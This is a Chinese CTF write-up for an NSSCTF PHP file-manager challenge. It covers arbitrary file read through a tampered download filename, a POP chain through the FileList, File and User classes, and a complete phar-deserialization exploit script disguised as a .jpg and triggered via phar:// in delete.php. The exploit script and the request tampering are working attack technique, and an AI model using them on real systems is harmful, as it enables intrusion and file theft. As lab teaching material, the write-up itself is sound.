一道很适合新手入门完整网站项目漏洞挖掘的题目,网上wp多半只讲了利用链和exp,我会从网站逻辑开始分析并写得尽量详细易懂,同样适合新手入门

复现靶场为nssctf,https://www.nssctf.cn/problem/2 搜题号应该也能搜到

文件获取

拿到页面后是个登录框,先注册一个账号登进去看看

进来后是个文件管理的界面

随便传个文件

这里就会涉及到一个任意文件读取的思路。一般一些制作并不是那么精良的网站都会直接使用文件名匹配的方式去读取文件内容从而达到下载的效果,所以我们点击下载的时候抓个包试一下看能不能通过修改文件名从而把原代码下载下来

成功读取。照着这个方法把几个已知页面的代码都读一遍

网站代码逻辑

因为代码比较多,所以这里我这里先介绍一下网站的主要实现逻辑

我的习惯是从主界面也就是index.php开始看调用,在index.php中可以发现下面这段

进入到class.php,查看一下Filelist类

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

从构造函数开始,会发现这里传入了一个path形参

回到index.php发现实参是携带在session中的sandbox。通过全局搜索可以知道sanbox在login.php中定义

简单来说就是给每个用户创建了一个专属的上传目录,接着往下看构造函数内容

结合上面filenames执行的是scandir,这段主要是将当前用户被分配的上传目录下的文件名储存到filenames这个数组并经过uset处理掉两个结果后,使用filename代替filenames遍历循环filenames数组中的每个值执行File类的open函数,所以这里需要跟进看一下open函数在干什么

来到File类,可以看到open函数将传入的文件名进行了检查,看看是否真实存在。回到FileList构造函数,执行完open后会把文件是否存在的结果保存到FileList的files数组里,接着调用刚刚的file对象的name方法,所以再次回到File类,看一下name方法

就是把刚刚在open方法中传进去的文件名return回去,作为result的键值

总的来说这个构造函数就是测试了一下文件是否存在,存在就将文件名作为results的键名

在index.php中,a对象接着调用了Name方法,所以来到__call魔术方法

可以看到将传入的函数名压入了一个数组中,并使用file数组遍历了一遍results数组(同构造函数中),再把每个键值当成数组储存在对应函数名中,有点像二维数组,也就是像下面这样

$this->results['1.png']['Name']   #1.png是你上传上去的文件名

再把当前遍历到的file变量中的func函数执行结果赋值给这个“类二维数组”。听起来有点绕,但这里是后面漏洞利用的关键点之一。回到index.php中的下一个调用Size也是这么回事,就不重复一遍了

最后再看到析构函数

在析构函数中可以看到一个最主要的功能,就是将results的值输出

因为文件上传是独立于index.php的一个功能,通过抓包或者分析前端代码可以提交的文件都被放到了upload.php处理

可以看到主要就是对上传的文件进行了审查,只要不在白名单中的后缀就不能成功上传

页面中还有两个功能分别是下载和删除

download.php

delete.php

他们有几个共同点

  • 都申请了File类对象

  • 都调用了open方法

还有一个很明显的不同点就是,download.php比delete.php多了一句这个

这句的意思就是当前文件的操作范围只能在/etc/tmp下,因此delete.php其实还可以用来删除一些非本目录下的系统文件,这也算是一个风险吧

漏洞查找

了解完网站的主要代码逻辑,接下来就是漏洞点分析了。首先直接用download.php读/flag这条路肯定是堵死的,因为被ini_set设置了活动范围,因此潜在利用点就只剩下登陆窗口和文件上传

要确定到底是利用谁,最好的方法就是找找有没有能被利用的危险函数,在这个网站的基本逻辑中,显然只有下面这位是最危险的

它在File类中。我们就试试看有没有办法调用它,用它来读取flag

怎么调用呢?此时肯定会有大聪明在User类中看到了这个

此时就算我的$this->db就是new File,那么它并不会帮我读取任意文件。因为我们没法对它进行赋值,所以想在这里调用肯定是不行的。但一定也有心细的朋友想起我们刚刚在分析网站逻辑时提到的那个关键点

此时如果我的$files数组中有一个值是new File,加上我可以通过改写File类的构造函数,使File类的filename从一开始就被我赋值成/flag,就像下面这样

class File {
    public $filename;
    public function __construct($filename){
        $this->filename=$filename;
    }

那么是不是就可以读文件了呢?其实还差一步,就是我们虽然可以通过这样来申请一个File类的对象,但还是没有调用close方法。不过最巧妙的地方就在于,这个__call魔术方法被调用的函数名是我们自己给的,也就是说这个地方是我们可以自己控制的

只要我们像下面这样调用

$a=new FileList;
$a->files=new File; 
$a->close(); 

就可以调用File类的close了。所以最后,我们只要将刚刚大聪明们发现的那个$this->db->close();中的$this->db赋值成new FileList即可

所以完整的利用链就是

User中的db->FileList中的_call->File中的close

我们带着这一利用链再来看一下login.php与download.php和delete.php就不难发现,如果想利用login.php也就是登录框作为入口,那么就只能传$username和$password这两个值,显然这俩值在User类中的利用最后都是指向数据库而并没有读取文件的操作

而如果想通过文件上传作为入口,由于白名单滤得比较死,因此就不难想到要利用phar进行反序化触发利用链。(如果你不知道什么是phar反序化,可以看这里)

所以这里我直接构造一个exp

<?php
class FileList
{
    private $files;
    public function __construct(){
        $this->files=array();
        $a=new File('/flag.txt');
        array_push($this->files,$a);
    }
}
class File {
    public $filename;
    public function __construct($filename){
        $this->filename=$filename;
    }

}
class User
{
    public $db;
}
$a=new User();
$b=new FileList();
$a->db=$b;
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置sutb
$phar->setMetadata($a);//将自定义的meta-data存入manifest
$phar->addFromString("1.txt","123123>");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
unlink('./phar.jpg');
rename("./phar.phar","./phar.jpg");

本地执行后会生成一个这个

将它上传上去后,就得想个办法触发它。并且已知有这些函数可以触发phar伪协议

在哪利用呢?回到我们在看网站逻辑最后提到的那个delete.php,不难发现它调用了一个File类中的open方法

这个方法正好调用了上面这张表格中的file_exists函数。所以我们只要用跟最开始在download.php里读文件一样的方法,在点击删除后抓包,将文件名改成phar伪协议,即可触发我们的phar包,获得flag